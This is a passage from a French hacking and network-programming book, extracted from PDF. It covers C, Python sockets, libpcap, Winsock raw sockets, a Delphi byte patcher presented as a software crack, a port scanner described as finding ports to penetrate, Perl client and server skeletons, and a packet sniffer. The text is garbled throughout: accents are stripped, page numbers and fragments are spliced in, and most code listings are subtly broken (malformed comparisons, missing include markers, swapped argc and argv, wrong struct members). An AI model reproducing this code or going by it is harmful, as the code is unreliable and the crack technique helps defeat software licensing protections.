autre), avec un diteur hexadcimal, se rendre loffset o vous avez plac le
message et lire ce dernier.
Maintenant, vous pouvez envoyer des messages cachs, les mettre sur des sites (par
exemple comme arrire-plan dune page pour que votre/vos destinataire(s) puissent y
accder). De plus cette mthode est pratiquement indtectable car trs peu de
personnes samusent ouvrir avec un diteur hexadcimal, une image quils trouvent:
surtout quand ce sont des images utilises comme arrire-plan de pages web.
162
163
Partie III :
Programmation rseau
164
Dans cette partie du livre, nous allons voir les bases de la programmation rseau.
En premier, il y aura un aide-mmoire du language C qui survolera les notions les
plus importantes. Pour apprendre ce language trs important, je vous conseille
vivement de vous procurer un livre sur le C.
Le language C est un language compil et de haut niveau qui est trs puissant et a
entre autre servit dvelopper les systmes UNIX / LINUX. Ce language a t cr
par Denis Richie.
En deuxime, il y aura une prsentation des principales fonctions rseaux de Python.
Le language Python est un language interprt et de haut niveau. Il est aussi orient
objet (comme le C++). Il est simple dapprentissage et dutilisation.
En troisime, on verra quelques fonctions de la libpcap.
Pour finir, il y aura 2 chapitres sur Winsock.
165
166
Le language C
Structure dun programme en C
Le code source dun programme C suit certaines rgles de structuration facilitant les
activits du pr-processeur et du compilateur.
Nous allons tudier cette structuration laide dun programme.
# include <stdio.h>
void afficheur(char a);
{
char t = a;
printf( %c\n , t);
}
main( )
{
char a;
printf ( Entrez un caractre:\n ) ;
scanf ( %c , &a) ;
afficheur (a) ;
return 0 ;
}
Un programme en C commence toujours par lutilisation des directives du prprocesseur (un programme qui va conditionner la compilation). La directive utilise
ici demande au pr-processeur dinclure le fichier den-tte pass en argument.
Puis on a dclar une fonction qui accepte un argument et qui a pour but de lafficher
laide de printf( ) qui est dfini dans le fichier den-tte.
Pour finir, on entre dans la fonction principale : main( ).
Cette fonction est obligatoire car les programmes commencent et finissent par elle ;
de plus, cest partir de cette fonction que lon appelle les fonctions dclares et
dfinies avant main( ).
On peut parfois passer des arguments main( ) (lorsque lon appelle les programmes
partir dun shell par exemple).
Pour les rcuprer, on va utiliser argc et argv :
- argc a comme valeur le nombre dargument pass main(
). argc ne peut tre infrieur 1 car le nom du programme
est toujours envoy.
167
Exemple :
int main(int argv,char*argc[])
{
}
if(argc>3)
{
dest =gethostbyname(argc[1]);
Les bases
Les commentaires
Commenter ses codes de programmes est trs important surtout si lon souhaite
pouvoir lamliorer dans les semaines ou annes qui suivent son criture ou si lon
souhaite le publier sous la licence GPL.
Cela permet de savoir quoi sert telle ou telle partie du code.
Pour commenter son code, le C nous propose 2 lments dont voici les syntaxes :
Syntaxe :
Syntaxe :
// est un commentaire
char
Types
Reprsentation
cest un type vide (en fait, cela veut dire
que llment auquel il est associ na
pas de type). Il est beaucoup utilis avec
les fonctions et avec certains types de
pointeurs.
type utilis pour les caractres.
168
wchar_t
int
float
double
long int
short int
long double
les variables
Quest-ce-quune variable ?
Et bien, une variable est une suite de caractres significatifs pointant vers une zone
mmoire contenant des donnes (valeur de la variable) et allant tre utilises par le
programme.
La suite de caractres utilise pour identifier la variable suit certaines conventions :
- elle doit tre alphanumrique et peut contenir le caractre
de soulignement bas ( _ ).
- les mots cls utiliss par le C (instructions, fonctions)
ne peuvent tre utiliss comme nom de variable.
- la 1re lettre de la variable ne peut tre un chiffre.
La dernire convention est plus une particularit du language C, elle concerne la casse
que respecte le C. Cela veut dire que ce dernier fait la diffrence entre les minuscules
et les majuscules.
Exemple :
language , Language et LANGUAGE dsignent 3
variables diffrentes.
Dclaration et initialisation
Pour dclarer des variables (ce qui est obligatoire avant de les utiliser, sinon la
compilation on verra apparatre un beau petit message derreur), on doit crire le type
de la variable suivi de son nom.
Syntaxe :
type nom_de_la_variable ;
Pour initialiser une variable, il faut utiliser loprateur daffectation qui est le signe
gal ( = ). A la gauche de loprateur doit se trouver la variable, la droite, la
valeur que doit contenir la variable.
169
Syntaxe :
nom_de_la_variable = valeur ;
Pour information, on peut dclarer puis initialiser les variables ou faire ces 2 actions
simultanment.
const type
nom_de_la_variable;
Parfois, il vaut mieux placer une variable dans lun des registres du processeur au lieu
de le placer en mmoire. Cela est possible grce au mot cl register . Pour dclarer
une variable registre, il faut suivre le modle suivant :
Syntaxe :
register type
nom_de_la_variable;
Les tableaux
Un tableau est un lment presque semblable aux variables.
Similitudes
- Ils sont identifis (rfrencs)
170
Diffrences
- les tableaux pointent vers un
type
nom_du_tableau[x];
Instructions
Syntaxe
Le test if:
if (test)
{
bloc_instructions;
}
La boucle for :
for (debut; fin; pas)
instruction;
ou
Explications
Il permet de faire un saut conditionnel.
Cela veut dire que si le test russi, le
programme va excuter les instructions
dans le bloc puis continuer jusqu la fin
de main( ), sinon il continu le
programme sans excuter le bloc.
Permet de faire un saut conditionnel.
Cela veut dire que si le test russi, le
programme va excuter les instructions
du bloc 1 puis continuer jusqu la fin de
main( ), sinon il va excuter les
instructions du bloc 2 puis continuer
jusqu la fin de main( ).
Permet de faire un saut conditionnel. On
fait plusieurs tests : linstruction excut
est celui qui suit directement le test qui
est vrai.
171
La boucle while :
while (condition)
instruction;
ou
while (condition)
{
bloc_instructions;
}
La boucle do/while :
do
instruction;
while (condition);
ou
do
{
bloc_instructions;
} while (condition);
Pour information, la boucle while fait linverse de do/while : elle teste la condition
avant dexcuter linstruction ou le bloc dinstruction.
type
*nom_du_pointeur;
Pour information, pour accder aux lments suivant et prcdant llment que
pointe le pointeur, il faut incrmenter/dcrmenter le pointeur laide de + + ou -Syntaxes :
pointeur++
ou
pointeur--
Quelques prcisions :
172
Les structures
Une structure est un lment qui permet de regrouper des variables, des tableaux
Ces derniers seront utiliss pour accomplir certaines tches spcifiques.
Les structures sont trs souvent utilises pour enregistrer des donnes quelconques et
de types diffrents.
Pour dfinir une structure, il faut suivre le modle suivant :
Syntaxe :
struct nom {
variable1;
variable2;
Les variables dclares dans une structure sont appeles membres dune structure .
Lorsque lon veut accder aux membres dune structure, il faut utiliser loprateur
point ( . ).
Syntaxe :
var1.membre_name;
173
union nom {
variable1;
variable2;
Le pr-processeur
Le pr-processeur C travaille avant le compilateur. Il a pour but de traiter les
directives se trouvant au dbut du code source.
Voyons diverses directives :
#define x y
#undef x
#include <xxx>
#if
premiere_condition
#elif deuxieme_condition
#else
#endif
Les fonctions
174
Une fonction est une suite de code qui est crit pour un but prcis, qui est identifie
(rfrence) par un nom et qui a la particularit dapporter une certaine modularit
dans le code.
Notions importantes sur les fonctions:
-
175
176
socket.accept()
Cette mthode accepte une connexion sur le socket.
Exemple :
sock_client,adr = socket.accept()
socket.bind(adresse)
Cette mthode affecte un nom et un port un socket.
Exemple :
socket.bind(("",1024))
socket.close()
Cette mthode ferme un socket.
socket.connect(adresse)
177
socket.connect(("serveur.com",1024))
socket.fileno()
Cette mthode retourne un descripteur de fichier.
socket.gethostbyname(hostname)
Cette mthode permet dobtenir ladresse IP de la machine qui appartient le nom
dhte pass en argument.
socket.gethostname()
Cette mthode permet dobtenir le nom de la machine sur laquelle elle est employe.
socket.getpeername()
Cette mthode retourne le nom de la machine se trouvant lautre extrmit du
socket.
socket.getsockname()
Cette mthode permet dobtenir ladresse et le port utilis par le socket. Il renvoie ces
lments sous forme de liste : (ipadr, port).
socket.getsockopt()
Cette mthode permet dobtenir les options du socket.
socket.listen(max_connexions)
Cette mthode permet de forcer un serveur couter un port dans lattente dune
connexion. Largument pass la fonction est le nombre de connexions que doit
accepter le serveur.
Exemple :
socket.listen(10)
178
socket.recv(data_size)
Cette mthode permet de recevoir des donnes de la machine se trouvant lautre
bout du socket. Largument pass la fonction est la taille des donnes devant tre
rcupres.
Exemple : tm = s.recv(1024)
socket.recvfrom(data_size)
Comme la prcdente mais sutilise avec le protocole UDP.
socket.send(donnes)
Cette mthode permet denvoyer des donnes la machine se trouvant lautre bout
du socket.
socket.sendto(donnes, addresse_distante)
Comme la prcdente mais sutilise avec le protocole UDP. Le deuxime argument
pass la fonction est ladresse qui va recevoir les donnes.
socket.setblocking(flag)
Affecte au socket les modes blocking ou nonblocking.
socket.setsockopt()
Cette mthode permet de mettre des options sur le socket.
179
180
La libpcap
Nous allons ensemble voir quelques fonctions rseau que nous fournit la libpcap.
Cette bibliothque de fonctions a t dveloppe par le groupe ayant cr le clbre
sniffer TCPdump.
181
void pcap_close(pcap_t );
Cette fonction arrte la capture de paquets partir du descripteur pass en argument
la fonction.
void pcap_close(pcap_t *p)
{
/*XXX*/
if (p->fd >= 0) {
#ifdef linux
pcap_close_linux(p);
#endif
close(p->fd);
}
if (p->sf.rfile != NULL) {
if (p->sf.rfile != stdin)
(void)fclose(p->sf.rfile);
if (p->sf.base != NULL)
free(p->sf.base);
} else if (p->buffer != NULL)
free(p->buffer);
pcap_freecode(&p->fcode);
free(p);
182
else {
}
if (n <= 0)
return (n);
if (cnt > 0) {
cnt -= n;
if (cnt <= 0)
return (0);
}
/* time stamp */
/* length of portion present */
/* length this packet (off wire) */
s.hdr = h;
if (pcap_dispatch(p, 1, pcap_oneshot, (u_char*)&s) <= 0)
return (0);
return (s.pkt);
183
Cette fonction nous fournit quelques informations sur les paquets capturs. Ce sont
des informations comme le nombre de paquets reus par le logiciel de capture et le
nombre de paquets dropps par le logiciel de capture.
Le 1er paramtre est le descripteur utilis pas la fonction pcap_open_live( ) .
Le 2me paramtre est une structure qui va contenir les informations retournes par la
fonction. Pour savoir de quelles informations il en retourne, remontez de quelques
lignes.
Voici comment se prsente cette structure :
struct pcap_stat {
u_int ps_recv;
u_int ps_drop;
u_int ps_ifdrop;
};
Si int optimize est mis 1 (true), le filtre produit est optimis. Le dernier paramtre
est une variable contenant le masque rseau de linterface choisi dont le descripteur
est pcap_t *p.
184
*pcap_file(pcap_t *);
pcap_fileno(pcap_t *);
u_int
int
char
void
185
186
Winsock
Winsock est une API de Microsoft qui permet de dvelopper des applications TCP et
UDP (grce Winsock 2) de bas niveau avec les sockets streams (pour Winsock 1.1)
ou les raw sockets (pour Winsock 2).
Winsock 1.1
Les applications rseaux cres avec Winsock 1.1 suivent le mme schmas que ceux
cres avec dautres bibliothques de fonctions rseaux.
La seule particularit est quavant de crer le socket, il faut initialiser winsock.
Voici le schmas de crations :
Serveur
Client
On initialise Winsock
\/
On crer le socket
\/
On renomme le socket
\/
On le met sur coute
\/
On accepte la connexion
\/
On gre les requtes du/des
client(s)
On initialise Winsock
\/
On crer le socket
\/
On le connecte au serveur
\/
On envoie nos requtes
Client
On initialise Winsock
Pour initialiser Winsock, il faut la fonction : WSAStartup( ).
Sa syntaxe est la suivante : int WSAStartup (WORD wVersionRequired,
LPWSADATA lpWSAData);
Le 1er argument est la version de Winsock que lon veut utiliser (soit 1.1 ici).
187
Le 2me argument est ladresse dune structure de type WSAData qui est dfinie dans
winsock.h.
typedef struct WSAData {
WORD wVersion;
WORD wHighVersion;
char szDescription[WSADESCRIPTION_LEN+1];
char szSystemStatus[WSASYS_STATUS_LEN+1];
unsigned short iMaxSockets;
unsigned short iMaxUdpDg;
char FAR *lpVendorInfo;
} WSADATA;
WORD wVersionRequired ;
LPWSADATA lpWSAData;
wVersionRequested = MAKEWORD(1,1);
init = WSAStartup(wVersionRequested, &WSAData);
On crer le socket
Pour crer le socket, on utilise la fonction : socket( ).
Sa syntaxe est la suivante : SOCKET socket (int af, int type, int protocol);
Le 1er argument est la famille du socket (gnralement cest AF_INET. Les autres
familles sont prsentes dans winsock.h).
Le 2me argument est le type de socket (il y a SOCK_STREAM, SOCK_DGRAM :
ils sont dfinis dans winsock .h).
Le 3me argument est le protocole utilis (il y a IPPROTO_IP, IPPROTO_ICMP :
ils sont dfinis dans winsock.h).
Avant dutiliser la fonction socket, il nous faut remplir une structure de type
sockaddr_in.
struct sockaddr_in {
short
sin_family;
u_short
sin_port;
struct
in_addr
sin_addr;
char
sin_zero[8];
};
188
SOCKET socket;
struct sockaddr_in sin;
sin.sin_addr.s_addr
sin.sin_family
sin.sin_port
= htonl(inaddr_any);
= AF_INET;
= htons(xx);
u_long
u_short
u_long
u_short
htonl(u_long
htons(u_short
ntohl(u_long
ntohs(u_short
hostlong);
hostshort);
netlong);
netshort);
char sa_data[14];
/* address family */
};
189
connect(socket, (sockaddr *)&structure, sizeof(struct
sockaddr));
Serveur
Pour allger le livre, nous allons seulement voir les lments nouveaux pour la
cration du serveur. Car en revoyant le schmas de cration dun serveur, on
remarque quil y a des ressemblances avec celui des clients.
190
On renomme le socket
Pour associer le socket cr avec notre adresse rseau, il faut utiliser la fonction bind(
).
Sa syntaxe est la suivante : int bind (SOCKET s, const struct sockaddr FAR
* addr, int namelen);
Le 1er argument est le descripteur de socket.
Le 2me argument est une structure sockaddr
Le 3me argument est la taille de cette structure.
Voici un exemple de cette fonction :
listen(socket, 5) ;
On accepte la connexion
Pour accepter des connexions de clients, on utilise la fonction accept( ).
Sa syntaxe est la suivante : SOCKET accept (SOCKET s, struct sockaddr FAR
*addr, int FAR *addrlen);
Le 1er argument est le descripteur de socket.
Le 2me argument est une structure de type sockaddr.
191
192
193
Winsock (suite)
Winsock permet aussi de manipuler les raw sockets qui proposent des fonctions de
programmation puissantes. On va pouvoir dvelopper de trs bons sniffers, des
gnrateurs de paquets rseaux, des modificateurs den-tte de paquets passant par
notre interface rseau
On ne peut utiliser les raw sockets sans tre administrateur de la machine. Mais bien
sr, sous Windows, on peut facilement contourner la pseudo restriction lie
lutilisation des raw sockets. Comme chaque nouveau systme Windows, Microsoft
change les moyens de restriction, tous les citer ne ferait qualourdir ce livre.
Nous allons voir diffrentes fonctions permettant de manipuler les raw sockets puis
nous allons nous attaquer au sujet mme.
On cr le socket
Pour cela, on utilise la fonction : WSASocket.
Sa syntaxe est la suivante : SOCKET WSASocket (int af, int type, int
protocol,
LPWSAPROTOCOL_INFO
lpProtocolInfo, GROUP g,
DWORD dwFlags);
Le 1er argument est la famille du socket.
Le 2me argument est le type du socket (ici, a sera SOCK_RAW car on travail avec
les raw sockets).
Le 3me argument est le protocole utilis.
Le 4me argument est une structure sur le socket cr.
Le 5me argument est rempli par Windows (ne vous en proccupez pas, gnralement
il faut mettre comme valeur: NULL).
Le 6me argument permet de spcifier les attributs du socket qui va tre cr.
On met des options au socket
Pour cela, il faut utiliser la fonction setsockopt( ).
Sa syntaxe est la suivante : int setsockopt (SOCKET s, int level, int optname,
194
Raw sockets
IP
Voici un paquet IP :
195
Version
IHL
Identificateur
TTL
Type de
service
Longueur du paquet
Flags
Offset du
Fragment
Protocole
Cheksum den-tte
Adresse IP source
Adresse IP cible
Options / remplissage ( padding )
Zones de donnes
char
short
short
short
char
char
short
int
int
// La
version du protocole IP et la
longueur de l'
en-tte
tos;
tot_len;
id;
offset;
ttl;
protocol;
checksum;
saddr;
daddr;
//
//
//
//
//
//
//
//
//
Type de service
Longueur du paquet
identificateur
Offset du Fragment
TTL
Protocole
Cheksum
IP source
IP de destinataire
};
TCP
Voici un paquet TCP :
port source
port destination
numro de squence
accus de rception
dcalage
rserve urg ack psh rst syn fin
donnes
somme de contrle (checksum)
options
fentre
pointeur de donnes
urgentes
remplissage (padding)
donnes
Voici la structure associe au paquet TCP :
typedef struct tcphdr
{
unsigned short sport;
unsigned short dport;
// port source
// port destination
196
unsigned
unsigned
unsigned
unsigned
unsigned
unsigned
unsigned
int
int
char
char
short
short
short
seqnum;
acknum;
dataoffset;
flags;
windows;
checksum;
urgpointer;
// numro de squence
// accus de rception
// dcalage des donnes
// flags
// fentre
// checksum
// pointeur de donnes
urgentes
};
ICMP
Voici un paquet ICMP :
Type
ID
Code
Donnes
Cheksum
Numro de squence
//
//
//
//
//
//
Type
Code
Checksum
ID
numro de squence
timestamp
Pratique
Pour pouvoir utiliser les raw sockets, il va falloir remplir les membres des structures
avec les bons paramtres puis placer la structure dans un tableau de caractres et
envoyer le tout avec sendto( ).
Voici un exemple de remplissage dune structure TCP :
tcp->sport
tcp->dport
tcp->seqnum
tcp->acknum
tcp->dataoffset
tcp->flags
tcp->window
tcp->checksum
tcp->urgpointer
=
=
=
=
=
=
=
=
=
htons(xx);
htons(xx) ;
htonl(xx);
htonl(xx);
(x) << x;
0x0xx;
htons(xx);
xxxxx;
0;
197
198
199
Partie IV :
Dveloppement
dutilitaires de scurit
200
Dans cette partie, nous allons tudier ensemble comment dvelopper certains outils
pouvant servir scuriser des systmes et rseaux mais aussi pirater.
Chacun de ces programmes ont t dvelopps par lauteur pour dautres projets et ne
sont donc que des extraits de programmes plus complets et fonctionnels.
Lutilisation de ces programmes dans un environnement autre que ceux pour lequel
ils ont t crs risque de ne pas fonctionner.
4 programmes vont vous tre prsents :
- un logiciel qui patch des octets dun programme (en Delphi),
- un scanner de ports basique,
- des squelettes de serveurs et clients TCP et UDP,
- des sniffers.
201
202
Un crack
Si vous avez bien suivi la partie du livre consacre la scurit informatique, vous
devriez normalement savoir ce quest un crack (on dit aussi patch). Mais le re-dire ne
tuera personne !!!
Un crack (ou patch) est un petit programme qui va modifier certains octets dun
programme des offsets prcis dans le but de modifier son comportement dans un
environnement donn ou lorsquune action survient.
Les cracks sont gnralement utiliss pour dplomber des logiciels commerciaux. Le
mini crack dvelopp en language Delphi a pour but de faire comprendre au lecteur
comment il est possible de modifier des octets dun programme compil et non de
donner un programme de base servant pirater des logiciels ( moins quils
appartiennent celui qui teste ce crack).
var
F : file of Byte;
A : Byte;
begin
assignfile(F , 'fichier.exe');
Reset(F);
A := $[hexa_voulu];
seek(F,$[offset]);
Write(F,A);
closefile(F);
end;
203
Le code prsent ne patch quun octet la fois, pour en pacther dautres il suffit de
rpter les instructions le nombre de fois ncessaire.
204
205
Scanner de ports
Les scanners de ports sont trs importants pour savoir par quel port pntrer un
systme. Pour plus dinformations sur le scan des ports, retournez aux premiers
chapitres de la partie scurit informatique.
Pour que les scanners de ports dterminent quels ports sont ouvert sur un systme, ils
essaient de sy connecter laide dun socket. Si la connexion a russie, le port est
ouvert, sinon il est ferm.
Voici le code source :
include <stdio.h>
include <stdlib.h>
include <netinet/in.h>
include <netdb.h>
include <sys/types.h>
include <sys/socket.h>
int main(int argv,char*argc[])
{
int socket,i;
struct sockaddr_in paq;
struct hostent *dest;
if(argv <= 1 || argv > 4)
{
printf("Problme dans le passage des arguments.\n\n");
printf("%s [nom_d'
hte] [port_de_depart] [port_d_arriv] : permet de scanner les
ports de l'
hte cible",argc[0]);
}
if(argc>3)
{
dest =gethostbyname(argc[1]);
if(dest = = NULL)
{
dest =gethostbyaddr(argc[1],4,AF_INET);
}
paq.sin_family = AF_INET;
paq.sin_addr = *((struct in_addr *)paq -> h_addr);
start = strtol(argc[2],(char**)NULL,10);
206
if(start = = NULL)
{
start = atoi(argc[2]);
}
end = strtol(argc[3],(char**)NULL,10);
if(end = = NULL)
{
end = atoi(argc[3]);
}
207
{
printf("Problme dans le passage des arguments.\n\n");
printf("%s [nom_d'
hte] [port_de_depart] [port_d_arriv] : permet de scanner les
ports
de l'
hte cible",argc[0]);
}
Si par contre lutilisateur a bien pass les arguments au programme, on va analyser
les arguments et affecter leurs valeurs des variables pour que le programme puissent
les traiter aisment.
if(argc>3)
{
dest = gethostbyname(argc[1]);
if(dest = =NULL)
{
dest =gethostbyaddr(argc[1],4,AF_INET);
}
paq.sin_family = AF_INET;
paq.sin_addr = *((struct in_addr *)paq -> h_addr);
start = strtol(argc[2],(char**)NULL,10);
if(start = = NULL)
{
start = atoi(argc[2]);
}
end = strtol(argc[3],(char**)NULL,10);
if(end = = NULL)
{
end = atoi(argc[3]);
}
208
209
210
Serveur TCP
Voici le code source :
use Socket;
use strict;
$sv_adr = "";
$sv_port = "xx";
$sv_proto = "tcp";
print "Taper le nombre maximal de connexion que le serveur doit accepter:\n";
$conmax = <STDIN>;
$adr = gethostbyname($sv_adr);
if(!adr)
{
$adr = gethostbyaddr($sv_adr, AF_INET);
unless(defined(adr))
{
$adr = INADDR_ANY;
}
}
$proto = getprotobyname($sv_proto);
if(!$proto)
{
$proto = getprotobynumber($sv_proto);
}
$port = $sv_port;
if(!port)
{
$port = getservbyname($sv_port, $proto);
}
socket(SERV_SOCK, PF_INET, SOCK_STREAM, $proto) || die "Probleme de
socket:$!\n";
setsockopt(SERV_SOCK, SOL_SOCKET, SO_REUSEADDR, pack("1",1)) || die
"On ne peut mettre d'
options sur le socket.";
bind(SERV_SOCK, sockaddr_in($port, $adr)) || die "L'
association n'
a pas pu avoir
211
lieu.";
listen(SERV_SOCK, $conmax) || die "Il y a eu une erreur !!!";
while(1)
{
accept(CHI_SOCK, SERV_SOCK);
$dest = getpeername(CHI_SOCK) || die "Il y a eu une erreur !!!";
($dport, $dadr) = unpack_sockaddr_in($dest);
$ip_dest = inet_ntoa($dadr);
if(fork != 0)
{
shutdown(CHI_SOCK, 2);
}
print "La connection du client $dadr sur le serveur $adr par le port $port du serveur
a
t accept\n";
shutdown(SERV_SOCK, 2);
select(CHI_SOCK);
$| = 1
(Ici est le service que fournit le serveur)
}
En premier, on va inclure les modules que lon va utiliser.
use Socket;
use strict;
Puis on demande lutilisateur de choisir le nombre maximum de connexions que
doit accepter le serveur.
print "Taper le nombre maximal de connexion que le serveur doit accepter:\n";
$conmax = <STDIN>;
Ensuite,on va essayer de dterminer, laide des fonctions gethostbyname() et
gethostbyaddr(), ladresse IP du serveur TCP auquel doit se connecter le client.
$adr = gethostbyname($sv_adr);
if(!adr)
{
$adr = gethostbyaddr($sv_adr, AF_INET);
unless(defined(adr))
{
$adr = INADDR_ANY;
}
212
}
On fait de mme pour dterminer le protocole laide des fonctions
getprotobyname() et getprotobynumber().
$proto = getprotobyname($sv_proto);
if(!$proto)
{
$proto = getprotobynumber($sv_proto);
}
Et pour dterminer le port du serveur auquel le client doit se connecter.
$port = $sv_port;
if(!port)
{
$port = getservbyname($sv_port, $proto);
}
Quand tout cela est fini, on va crer le socket, lui mettre des options (grce la
fonction setsockopt()), lassocier un nom (grce la fonction bind()), et le mettre
en coute (grce la fonction listen()).
socket(SERV_SOCK, PF_INET, SOCK_STREAM, $proto) || die "Probleme de
socket:$!\n";
setsockopt(SERV_SOCK, SOL_SOCKET, SO_REUSEADDR, pack("1",1)) || die
"On ne peut mettre d'
options sur le socket.";
bind(SERV_SOCK, sockaddr_in($port, $adr)) || die "L'
association n'
a pas pu avoir
lieu.";
listen(SERV_SOCK, $conmax) || die "Il y a eu une erreur !!!";
Maintenant, on va soccuper de la manire dont le serveur va soccuper des clients.
On code une boucle infinie.
while(1)
{
On accepte une connexion sur le socket, et crer un nouveau descripteur de socket.
accept(CHI_SOCK, SERV_SOCK);
On va essayer davoir des informations sur le client qui se trouve lautre extrmit
du socket : comme son adresse IP et son port.
$dest = getpeername(CHI_SOCK) || die "Il y a eu une erreur !!!";
213
214
215
Client TCP
Dabord quelques informations thoriques.
Les clients sont des logiciels qui vont se connecter un serveur et vont profiter des
services quoffre le serveur.
Voici le code source :
use Socket;
use strict;
$sv_adr = "xx";
$sv_port = "xx";
$sv_proto = "tcp";
$adr = gethostbyname($sv_adr);
if(!adr)
{
$adr = gethostbyaddr($sv_adr, AF_INET);
unless(defined(adr))
{
$adr = INADDR_ANY;
}
}
$proto = getprotobyname($sv_proto);
if(!$proto)
{
$proto = getprotobynumber($sv_proto);
}
$port = $sv_port;
if(!port)
{
$port = getservbyname($sv_port, $proto);
}
socket(CLIENT_SOCK, PF_INET, SOCK_STREAM, $proto) || die "Probleme de
socket:$!\n";
216
217
218
219
Serveur UDP
Avec le protocole UDP, on ne peut pas vraiment parler de serveur, car les 2 parties (
clients et serveurs ) ne font quenvoyer les paquets sans tablire de connexions.
Voici le code source :
use Socket;
use strict;
$sv_adr = "";
$sv_port = "xx";
$sv_proto = "udp";
$adr = gethostbyname($sv_adr);
if(!adr)
{
$adr = gethostbyaddr($sv_adr, AF_INET);
unless(defined(adr))
{
$adr = INADDR_ANY;
}
}
$proto = getprotobyname($sv_proto);
if(!$proto)
{
$proto = getprotobynumber($sv_proto);
}
$port = $sv_port;
if(!port)
{
$port = getservbyname($sv_port, $proto);
}
socket(SERV_SOCK, PF_INET, SOCK_DGRAM, $proto) || die "Probleme de
socket:$!\n";
bind(SERV_SOCK, sockaddr_in($port, $adr)) || die "L'
association n'
a pas pu avoir
lieu.";
220
while(1)
{
(Ici ce pour quoi le serveur a t programm, ATTENTION, on envoie et reoit des
donnes l'
aide des fonction send() et recv())
}
En premier, on va inclure les modules que lon va utiliser.
use Socket;
use strict;
Ensuite,on va essayer de dterminer, laide des fonctions gethostbyname() et
gethostbyaddr(), ladresse IP du serveur UDP.
$adr = gethostbyname($sv_adr);
if(!adr)
{
$adr = gethostbyaddr($sv_adr, AF_INET);
unless(defined(adr))
{
$adr = INADDR_ANY;
}
}
On fait de mme pour dterminer le protocole laide des fonctions
getprotobyname() et getprotobynumber().
$proto = getprotobyname($sv_proto);
if(!$proto)
{
$proto = getprotobynumber($sv_proto);
}
Et pour dterminer le port du serveur auquel le client doit se connecter.
$port = $sv_port;
if(!port)
{
$port = getservbyname($sv_port, $proto);
}
Quand tout est prt, on va crer un socket et on lassocie un nom.
221
222
223
Client UDP
Voici le code source :
use Socket;
use strict;
$sv_adr = "";
$sv_port = "xx";
$sv_proto = "udp";
$adr = gethostbyname($sv_adr);
if(!adr)
{
$adr = gethostbyaddr($sv_adr, AF_INET);
unless(defined(adr))
{
$adr = INADDR_ANY;
}
}
$proto = getprotobyname($sv_proto);
if(!$proto)
{
$proto = getprotobynumber($sv_proto);
}
$port = $sv_port;
if(!port)
{
$port = getservbyname($sv_port, $proto);
}
socket(SERV_SOCK, PF_INET, SOCK_DGRAM, $proto) || die "Probleme de
socket:$!\n";
while(<>)
{
(Ici ce pour quoi le client a t programm. ATTENTION, on envoie et reoit des
donnes l'
aide des fonction send() et recv())
224
}
En premier, on va inclure les modules que lon va utiliser.
use Socket;
use strict;
Ensuite,on va essayer de dterminer, laide des fonctions gethostbyname() et
gethostbyaddr(), ladresse IP du serveur UDP.
$adr = gethostbyname($sv_adr);
if(!adr)
{
$adr = gethostbyaddr($sv_adr, AF_INET);
unless(defined(adr))
{
$adr = INADDR_ANY;
}
}
On fait de mme pour dterminer le protocole laide des fonctions
getprotobyname() et getprotobynumber().
$proto = getprotobyname($sv_proto);
if(!$proto)
{
$proto = getprotobynumber($sv_proto);
}
Et pour dterminer le port du serveur auquel le client doit se connecter.
$port = $sv_port;
if(!port)
{
$port = getservbyname($sv_port, $proto);
}
Quand tout est prt, on cr un socket.
socket(SERV_SOCK, PF_INET, SOCK_DGRAM, $proto) || die "Probleme de
socket:$!\n";
Pour finir, on code ce pourquoi le serveur a t cr.
225
while(<>)
{
(Ici ce pour quoi le client a t programm. ATTENTION, on envoie et reoit des
donnes l'
aide des fonction send() et recv())
}
226
227
sniffers
Un sniffer est un logiciel qui va capturer les paquets rseaux passant par linterface
rseau choisie.
Il existe pleins de sniffers tlcharger sur internet ou acheter mais ce chapitre vous
propose de dvelopper votre sniffer laide du language C et Perl.
Pour le language C, il faudra aussi packet.dll fournit avec la SDK de winpcap, si vous
voulez utiliser le sniffer sous windows.
Bon, voici le code source :
include <stdlib.h>
include <stdio.h>
include <pcap.h>
int main()
{
char erreur[PCAP_ERRBUF_SIZE];
pcap_t *paq;
char dev;
struct pcap_pkthdr head;
const unsigned char *paquet;
int a,b;
struct ether_header *header;
s = sizeof(struct ether_header);
bpf_u_int32 adr, masque;
dev = pcap_lookupdev(erreur);
paq = pcap_open_live(dev,1500,1,1000,erreur);
if(!paq)
{
printf("Problmes lors de l'
ouverture du descripteur de paquets\n");
return -1;
}
pcap_lookupnet(dev,&adr,&masque,erreur);
if(adr)
{
printf("Voici l'
adresse de l'
interface par dfaut: %x\n",adr);
}
228
if(masque)
{
printf("Voici le masque de rseau de l'
interface par dfaut: %x\n",masque);
}
printf("Voici les paquets sniffs\n");
while(1)
{
paquet = pcap_next(paq,&head);
if(head.caplen < s) continue;
header = (struct ether_header *)paquet;
for(a=0; a<ETH_ALEN; a++)
printf("%s%02x",a==0 ? "" : ":",header->ether_shost[a]);
for(a=0; a<ETH_ALEN; a++)
printf("--->%s%02x",a==0 ? "" : ":",header->ether_dhost[a]);
printf("Le paquet sniff est de type: %d\n",header->ether_type);
}
}
En premier, on commence par inclure les fichiers den-ttes.
include <stdlib.h>
include <stdio.h>
include <pcap.h>
Ensuite, on dbute la boucle principale et on dclare les variables et structures qui
seront utilises dans le programme.
int main()
{
char erreur[PCAP_ERRBUF_SIZE]; /* Cest ici que sont situes les erreurs.
PCAP_ERRBUF_SIZE est la taille de ce
buffer et est dfini das pcap.h.*/
pcap_t *paq; /* Cest le descripteur de paquets utilis par pcap_open_live*/
char dev;
/* Cest ici que sera stock linterface par dfaut */
struct pcap_pkthdr head; /* Cest une structure qui contient les en-ttes de paquets */
const unsigned char *paquet; /* Cest ici que sera contenu le paquet captur */
int a,b;
/* Ce sont des variables tests et sans importances */
struct ether_header *header; /* Cest une structure qui contient les
en-ttes des paquets ethernet */
s = sizeof(struct ether_header); /* Cest la taille des en-ttes ethernet */
229
bpf_u_int32 adr, masque; /* Ce sont des entiers spciaux qui sont remplis par la
fonction pcap_lookupnet */
La premire fonction retourne le nom dune interface rseau pouvant tre utilise par
pcap_open_live.
dev = pcap_lookupdev(erreur);
La suivante permet dobtenir un descripteur de paquets pour pouvoir capturer les
paquets passant sur le rseau.
paq = pcap_open_live(dev,1500,1,1000,erreur);
Le premier if permet de tester la russite ou non de pcap_open_live().
if(!paq)
{
printf("Problmes lors de l'
ouverture du descripteur de paquets\n");
return -1;
}
La fonction suivante permet dobtenir ladresse rseau et le masque de rseau de
linterface rseau choisie. On retrouve nos variables spciales qui ne doivent pas
avoir de valeurs avant dtre passes en arguments la fonction.
pcap_lookupnet(dev,&adr,&masque,erreur);
Les if suivant testent la russite de pcap_lookupnet et retournent les informations
